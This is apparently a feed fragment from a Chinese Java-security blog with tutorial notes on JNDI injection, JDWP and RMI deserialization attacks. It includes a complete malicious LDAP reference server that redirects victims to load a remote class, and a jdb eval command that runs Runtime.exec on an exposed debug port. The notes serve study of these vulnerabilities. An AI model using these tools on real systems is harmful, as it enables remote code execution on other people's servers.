href="https://nivi4.notion.site/Java-JNDI-ddd6c46c271545598180799ab255e09a#f476faa72703447c869106714302939c">JNDI</a></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> jndi.ldapAttack;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServer;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryListenerConfig;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.Entry;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPException;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPResult;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.ResultCode;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.net.ServerSocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.net.SocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.net.ssl.SSLSocketFactory;</span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.MalformedURLException;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EvilServer</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LDAP_BASE</span> <span class="operator">=</span> <span class="string">&quot;dc=example,dc=com&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span> <span class="params">( String[] tmp_args )</span> &#123;</span><br><span class="line">        String[] args=<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;http://127.0.0.1:8888/#NIVIA&quot;</span>&#125;;</span><br><span class="line">        <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> <span class="number">9999</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">InMemoryDirectoryServerConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServerConfig</span>(LDAP_BASE);</span><br><span class="line">            config.setListenerConfigs(<span class="keyword">new</span> <span class="title class_">InMemoryListenerConfig</span>(</span><br><span class="line">                    <span class="string">&quot;listen&quot;</span>, <span class="comment">//$NON-NLS-1$</span></span><br><span class="line">                    InetAddress.getByName(<span class="string">&quot;0.0.0.0&quot;</span>), <span class="comment">//$NON-NLS-1$</span></span><br><span class="line">                    port,</span><br><span class="line">                    ServerSocketFactory.getDefault(),</span><br><span class="line">                    SocketFactory.getDefault(),</span><br><span class="line">                    (SSLSocketFactory) SSLSocketFactory.getDefault()));</span><br><span class="line"></span><br><span class="line">            config.addInMemoryOperationInterceptor(<span class="keyword">new</span> <span class="title class_">OperationInterceptor</span>(<span class="keyword">new</span> <span class="title class_">URL</span>(args[ <span class="number">0</span> ])));</span><br><span class="line">            <span class="type">InMemoryDirectoryServer</span> <span class="variable">ds</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServer</span>(config);</span><br><span class="line">            System.out.println(<span class="string">&quot;Listening on 0.0.0.0:&quot;</span> + port); <span class="comment">//$NON-NLS-1$</span></span><br><span class="line">            ds.startListening();</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> ( Exception e ) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">OperationInterceptor</span> <span class="keyword">extends</span> <span class="title class_">InMemoryOperationInterceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> URL codebase;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">OperationInterceptor</span> <span class="params">( URL cb )</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.codebase = cb;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processSearchResult</span> <span class="params">( InMemoryInterceptedSearchResult result )</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">base</span> <span class="operator">=</span> result.getRequest().getBaseDN();</span><br><span class="line">            <span class="type">Entry</span> <span class="variable">e</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Entry</span>(base);</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                sendResult(result, base, e);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">catch</span> ( Exception e1 ) &#123;</span><br><span class="line">                e1.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">sendResult</span> <span class="params">( InMemoryInterceptedSearchResult result, String base, Entry e )</span> <span class="keyword">throws</span> LDAPException, MalformedURLException &#123;</span><br><span class="line">            <span class="type">URL</span> <span class="variable">turl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="built_in">this</span>.codebase, <span class="built_in">this</span>.codebase.getRef().replace(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;/&#x27;</span>).concat(<span class="string">&quot;.class&quot;</span>));</span><br><span class="line">            System.out.println(<span class="string">&quot;Send LDAP reference result for &quot;</span> + base + <span class="string">&quot; redirecting to &quot;</span> + turl);</span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaClassName&quot;</span>, <span class="string">&quot;nivia&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">cbstring</span> <span class="operator">=</span> <span class="built_in">this</span>.codebase.toString();</span><br><span class="line">            <span class="type">int</span> <span class="variable">refPos</span> <span class="operator">=</span> cbstring.indexOf(<span class="string">&#x27;#&#x27;</span>);</span><br><span class="line">            <span class="keyword">if</span> ( refPos &gt; <span class="number">0</span> ) &#123;</span><br><span class="line">                cbstring = cbstring.substring(<span class="number">0</span>, refPos);</span><br><span class="line">            &#125;</span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaCodeBase&quot;</span>, cbstring);</span><br><span class="line">            e.addAttribute(<span class="string">&quot;objectClass&quot;</span>, <span class="string">&quot;javaNamingReference&quot;</span>); <span class="comment">//$NON-NLS-1$</span></span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaFactory&quot;</span>, <span class="built_in">this</span>.codebase.getRef());</span><br><span class="line">            result.sendSearchEntry(e);</span><br><span class="line">            result.setResult(<span class="keyword">new</span> <span class="title class_">LDAPResult</span>(<span class="number">0</span>, ResultCode.SUCCESS));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="JNDI-RMI-Reference限制"><a href="#JNDI-RMI-Reference限制" class="headerlink" title="JNDI_RMI_Reference限制"></a>JNDI_RMI_Reference限制</h2><p>在<strong>JDK 6u132, JDK 7u122, JDK 8u113</strong>之后Java限制了通过RMI远程加载Reference工厂类。</p><p><code>com.sun.jndi.cosnaming.object.trustURLCodebase</code>  默认值变为false，即默认不允许通过RMI从远程的Codebase加载工厂类</p><h2 id="JNDI-LDAP-Reference限制"><a href="#JNDI-LDAP-Reference限制" class="headerlink" title="JNDI_LDAP_Reference限制"></a>JNDI_LDAP_Reference限制</h2><p>在JDK 11.0.1、8u191、7u201、6u211之后 <code>com.sun.jndi.ldap.object.trustURLCodebase</code>属性的默认值同样被修改为了false，即默认不允许通过LDAP从远程的Codebase加载工厂类</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;JNDI&quot;&gt;&lt;a href=&quot;#JNDI&quot; class=&quot;headerlink&quot; title=&quot;JNDI&quot;&gt;&lt;/a&gt;JNDI&lt;/h1&gt;&lt;h3 id=&quot;概述&quot;&gt;&lt;a href=&quot;#概述&quot; class=&quot;headerlink&quot; title=&quot;概述&quot;&gt;&lt;/a&gt;概述&lt;/h</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="攻击面" scheme="http://example.com/tags/%E6%94%BB%E5%87%BB%E9%9D%A2/"/>
    
    <category term="JNDI" scheme="http://example.com/tags/JNDI/"/>
    
  </entry>
  
  <entry>
    <title>JDWP</title>
    <link href="http://example.com/2026/03/27/JDWP/"/>
    <id>http://example.com/2026/03/27/JDWP/</id>
    <published>2026-03-27T11:46:36.000Z</published>
    <updated>2026-05-12T07:39:09.939Z</updated>
    
    <content type="html"><![CDATA[<h1 id="JDWP"><a href="#JDWP" class="headerlink" title="JDWP"></a>JDWP</h1><p>JPDA(<code>Java Platform Debugger Architecture</code>) 是 Java 平台调试体系结构的缩写，通过 JPDA 提供的 API，开发人员可以方便灵活的搭建 Java 调试应用程序。</p><p>java提供的一个可以远程调试java代码的javaagent</p><p>启动项:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -agentpath:jdwp=transport=dt_socket,server=y,suspend=y,address=<span class="number">8003</span> test</span><br></pre></td></tr></table></figure><p><code>transport=dt_socket</code> 通过socket方式来连接调试</p><p><code>server=y,suspend=y</code> 当前调试的文件为服务器 并且为暂停模式</p><p><code>address=*:8003 Test</code> 地址 与 字节码文件</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">jdb -connect com.sun.jdi.SocketAttach:hostname=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>,port=<span class="number">8003</span></span><br><span class="line">jdb -attach <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> <span class="number">8003</span></span><br></pre></td></tr></table></figure><p>使用jdb 通过socket连接上jdwp</p><p><code>stop in com.eval.test.main</code> 在main函数上打断点 然后cont执行到断点处</p><p>此时一般来说就可以执行了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eval java.lang.Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>).getInputStream())</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;JDWP&quot;&gt;&lt;a href=&quot;#JDWP&quot; class=&quot;headerlink&quot; title=&quot;JDWP&quot;&gt;&lt;/a&gt;JDWP&lt;/h1&gt;&lt;p&gt;JPDA(&lt;code&gt;Java Platform Debugger Architecture&lt;/code&gt;) 是 Java </summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="攻击面" scheme="http://example.com/tags/%E6%94%BB%E5%87%BB%E9%9D%A2/"/>
    
  </entry>
  
  <entry>
    <title>JRMP</title>
    <link href="http://example.com/2026/03/27/JRMP/"/>
    <id>http://example.com/2026/03/27/JRMP/</id>
    <published>2026-03-27T11:46:27.000Z</published>
    <updated>2026-03-29T10:19:51.303Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="e00764696b29489e9901c7e1f3f4a9fe66f9d2dbd3a35eea83bae863ef9f6b42">392494b7c8a14b978befb13bef915eb10dbf08713408b8e3eb79948bb9b55260</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>RMI</title>
    <link href="http://example.com/2026/03/27/RMI/"/>
    <id>http://example.com/2026/03/27/RMI/</id>
    <published>2026-03-27T11:46:10.000Z</published>
    <updated>2026-05-12T07:38:56.636Z</updated>
    
    <content type="html"><![CDATA[<h1 id="RMI"><a href="#RMI" class="headerlink" title="RMI"></a>RMI</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Remote Procedure Call <strong>远程过程调用</strong> </p><p>RMI服务是java提供的一种<strong>远程调用对象服务</strong> 调用对象可以像在调用本地对象一样</p><h2 id="RMI架构"><a href="#RMI架构" class="headerlink" title="RMI架构"></a>RMI架构</h2><p>RMI服务总的来说有3个主要部分: <strong>服务端 客户端 注册中心</strong></p><h3 id="服务端-远程对象"><a href="#服务端-远程对象" class="headerlink" title="服务端 (远程对象)"></a>服务端 (远程对象)</h3><p>服务端主要用来提供远程对象 </p><h3 id="注册中心"><a href="#注册中心" class="headerlink" title="注册中心"></a>注册中心</h3><p>服务端用来将对象绑定在注册表上</p><h3 id="客户端"><a href="#客户端" class="headerlink" title="客户端"></a>客户端</h3><p>客户端通过注册表调用远程对象</p><p><img src="/2026/03/27/RMI/20260324161803-fab93c53-2759-1.png" alt="20260324161803-fab93c53-2759-1"></p><p><strong>stub</strong>与<strong>skeleton</strong>是RMI调用过程中的一个代理类</p><p>客户端实际通过<strong>stub</strong>去调<strong>用远程对象并返回结果给客户端</strong></p><p>服务端实际通过<strong>skeleton</strong>去与<strong>stub</strong>进行远程的数据交流</p><hr><h2 id="RMI的实现"><a href="#RMI的实现" class="headerlink" title="RMI的实现"></a>RMI的实现</h2><h3 id="服务端"><a href="#服务端" class="headerlink" title="服务端"></a>服务端</h3><p>服务端实际有2部分组成 <strong>注册中心 远程对象</strong></p><p>服务端要提供对象服务 需要先有一个接口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIInterface.java</span></span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">RMIInterface</span> <span class="keyword">extends</span> <span class="title class_">Remote</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">hello</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>接口需要先继承一个Remote对象 说明他可以被作为Remote对象在远程调用中被使用 作用就像Serialized类 只是个说明而已</p><p>有了接口还需要一个实现接口的类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIInterfaceImpl.java</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIInterfaceImpl</span> <span class="keyword">implements</span> <span class="title class_">RMIInterface</span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">hello</span><span class="params">()</span>&#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;hello world&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>现在接口实现类已经写好 可以写服务端了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIServer.java</span></span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIServer</span> &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">RMIHOST</span> <span class="operator">=</span> <span class="string">&quot;127.0.0.1&quot;</span>;</span><br><span class="line">    <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">int</span> <span class="variable">RMIPORT</span> <span class="operator">=</span> <span class="number">1234</span>;</span><br><span class="line">    <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">RMIURL</span> <span class="operator">=</span> <span class="string">&quot;rmi://&quot;</span> + RMIHOST + <span class="string">&quot;:&quot;</span> + RMIPORT + <span class="string">&quot;/demo&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">           <span class="comment">//实例化注册中心 并绑定端口</span></span><br><span class="line">            LocateRegistry.createRegistry(RMIPORT);</span><br><span class="line"></span><br><span class="line">            <span class="type">RMIInterfaceImpl</span> <span class="variable">Impl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RMIInterfaceImpl</span>();</span><br><span class="line">            <span class="comment">//将实现类导出为真正的远程对象 并且绑定在指定端口上</span></span><br><span class="line">            <span class="type">RMIInterface</span> <span class="variable">stub</span> <span class="operator">=</span> (RMIInterface) UnicastRemoteObject.exportObject(Impl,<span class="number">1234</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//将stub保存在RMI的注册中心</span></span><br><span class="line">            Naming.bind(RMIURL,stub);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>至此服务端写好了</p><hr><p><strong>客户端</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIClient.java</span></span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIClient</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="comment">//查找注册中心</span></span><br><span class="line">            <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.getRegistry(RMIServer.RMIHOST,RMIServer.RMIPORT);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//通过获得的注册中心查找远程对象 如果找到的话会返回该远程对象</span></span><br><span class="line">            <span class="type">RMIInterface</span> <span class="variable">rmiInterface</span> <span class="operator">=</span> (RMIInterface) registry.lookup(<span class="string">&quot;demo&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//调用远程对象中的方法</span></span><br><span class="line">            rmiInterface.hello();</span><br><span class="line"></span><br><span class="line">        &#125;<span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><h2 id="RMI攻击"><a href="#RMI攻击" class="headerlink" title="RMI攻击"></a>RMI攻击</h2><p>RMI服务底层调用的是<strong>JRMP协议</strong>  </p><p>RMI服务默认使用该协议传输数据</p><p>JRMP协议在传输数据的时候会自动的序列化对象 以便传输数据</p><p>那么这里就存在可以利用的漏洞了</p><h3 id="RMI服务端攻击"><a href="#RMI服务端攻击" class="headerlink" title="RMI服务端攻击"></a>RMI服务端攻击</h3><p>如果一个RMI服务存在一个远程对象的方法可以接受一个对象参数</p><p>那么我们可以直接传入一个我们构造好的恶意类 当RMI服务端序列化该类的时候 就会执行我们恶意的代码</p><p>这里在实现类中增添了一个接口Object对象的参数</p><p><img src="/2026/03/27/RMI/image-20260327210003636.png" alt="image-20260327210003636"></p><p>我们只需在Client上面传入一个cc1包装好的恶意类 即可实现攻击</p><p><img src="/2026/03/27/RMI/image-20260327210134090.png" alt="image-20260327210134090"></p><p>这种方法需要远程对象<strong>接受一个Object参数 才能触发</strong></p><p>但是如果是Hashmap或者Hashtable之类的 我们也可以将恶<strong>意类藏在这之中也可以实现攻击</strong></p><p>反过来看 如果<strong>服务端的远程对象返回一个恶意类 客户端也一样的可能中招</strong></p><hr><h3 id="Register攻击"><a href="#Register攻击" class="headerlink" title="Register攻击"></a>Register攻击</h3><p>如果远程对象方法没法被利用 可以直接攻击注册中心</p><p>我们可以构造一个<strong>Remote对象</strong> 并将其传给注册中心 <strong>注册中心也会自动的反序列化这个对象</strong> 这时就可能<strong>触发漏洞</strong></p><p><img src="/2026/03/27/RMI/image-20260329141422132.png" alt="image-20260329141422132"></p><p>客户端这里我通过向注册表发送一个对象绑定请求 要求将<strong>demo对象绑定为我们发送过去的类</strong></p><p>这里发送的对象正是我们包装好的恶意类 一旦接收便会自动序列化 从而触发执行</p><p><strong>注意</strong>:这里bind的对象一定要是Remote对象 所以我们在bind之前就包装了一个代理类 强行继承Remote接口</p><p><img src="/2026/03/27/RMI/image-20260329141638907.png" alt="image-20260329141638907"></p><p>注册表中的其他几个方法也会触发反序列化</p><p><strong>bind rebind</strong> 正如上面演示的一样 直接发送对象即可</p><p>bind unbind rebind 只能在本地调用 没啥用</p><p>RegistryImpl_Skel.dispatch中执行指定方法之后 又会调用RegistryImp的指定方法</p><p><img src="/2026/03/27/RMI/image-20260402105847072.png" alt="image-20260402105847072"></p><p>然后会进入RegistryImpl的方法</p><p><img src="/2026/03/27/RMI/image-20260402110046189.png" alt="image-20260402110046189"></p><p>除了lookup没有调用<strong>checkAccess</strong> 其他都会调用</p><p>RegistryImpl中的checkAccess判断当前客户端的ip是否与服务器一样</p><p><img src="/2026/03/27/RMI/image-20260330112908331.png" alt="image-20260330112908331"></p><p><strong>lookup</strong> 这个方法只能传字符串 该怎么触发序列化呢? 现在应该回到底层代码看看具体是个什么情况</p><hr><h2 id="RMI底层代码"><a href="#RMI底层代码" class="headerlink" title="RMI底层代码"></a>RMI底层代码</h2><p><a href="https://xz.aliyun.com/picture-word?id=234">详细解析</a></p><p>RMI服务中有几个关键api</p><h3 id="java-rmi-Remote"><a href="#java-rmi-Remote" class="headerlink" title="java.rmi.Remote"></a>java.rmi.Remote</h3><p><img src="/2026/03/27/RMI/image-20260329143316468.png" alt="image-20260329143316468"></p><p>Remote接口仅仅作为一个说明 继承该接口的类 在后面的使用中可以作为远程对象</p><h3 id="java-rmi-server-UnicastRemoteObject"><a href="#java-rmi-server-UnicastRemoteObject" class="headerlink" title="java.rmi.server.UnicastRemoteObject"></a>java.rmi.server.UnicastRemoteObject</h3><p><img src="/2026/03/27/RMI/image-20260329143527019.png" alt="image-20260329143527019"></p><p><strong>UnicastRemoteObject类是实现将对象转化为一个远程对象的必要条件</strong> </p><p>按理来说 Remote接口的实现类应该要<strong>显式的继承这个UnicastRemoteObject类</strong> 它将自动完成转化</p><p><img src="/2026/03/27/RMI/image-20260329144324028.png" alt="image-20260329144324028"></p><p>我们可以来看看这个父类的构造器干了什么事</p><p><img src="/2026/03/27/RMI/image-20260329144400774.png" alt="image-20260329144400774"></p><p>它会自动的将这个实现类导出为远程对象代理类 所以我们不必显式的exportObject出一个远程对象代理类 </p><h3 id="RMI的动态类加载"><a href="#RMI的动态类加载" class="headerlink" title="RMI的动态类加载"></a>RMI的动态类加载</h3><p>RMI还可以使用动态类加载和安全管理器来安全传输Java类</p><p><code>java.rmi.server.codebase</code>：该属性表示一个或多个URL位置，可以从中下载本地（<code>CLASSPATH</code>）找不到的类，相当于一个代码库。</p><p>对于客户端而言，如果服务端方法的返回值可能是一些子类的对象实例，而客户端并没有这些子类的class文件，如果需要客户端正确调用这些子类中被重写的方法，客户端就需要从服务端提供的<code>java.rmi.server.codebase</code>URL去加载类</p><p>对于服务端而言，如果客户端传递的方法参数是远程对象接口方法参数类型的子类，那么服务端需要从客户端提供的<code>java.rmi.server.codebase</code>URL去加载对应的类。</p><p>客户端与服务端两边的<code>java.rmi.server.codebase</code>URL都是互相传递的。</p><p>无论是客户端还是服务端要远程加载类，都需要满足：</p><ol><li>由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并配置java.security.policy</li><li>属性java.rmi.server.useCodebaseOnly的值必须为false</li></ol><p>指定<code>java.rmi.server.codebase</code></p><hr><h3 id="创建注册中心"><a href="#创建注册中心" class="headerlink" title="创建注册中心"></a>创建注册中心</h3><p>跟进一下LocateRegistry.createRegistry方法</p><p><img src="/2026/03/27/RMI/image-20260330121105834.png" alt="image-20260330121105834"></p><p>会实例化一个RegistryImpl对象 </p><p><img src="/2026/03/27/RMI/image-20260330121057826.png" alt="image-20260330121057826"></p><p>来到构造器当中</p><p><img src="/2026/03/27/RMI/image-20260330121234866.png" alt="image-20260330121234866"></p><p>jdk源码中默认想要注册中心开在1099号上</p><p>但是我们这里是1234 直接就进入到else语句中</p><p><img src="/2026/03/27/RMI/image-20260330121906226.png" alt="image-20260330121906226"></p><p>实例化LiveRef 并传入id与port</p><p><img src="/2026/03/27/RMI/image-20260330122004353.png" alt="image-20260330122004353"></p><p>进入LiveRef 的构造器中 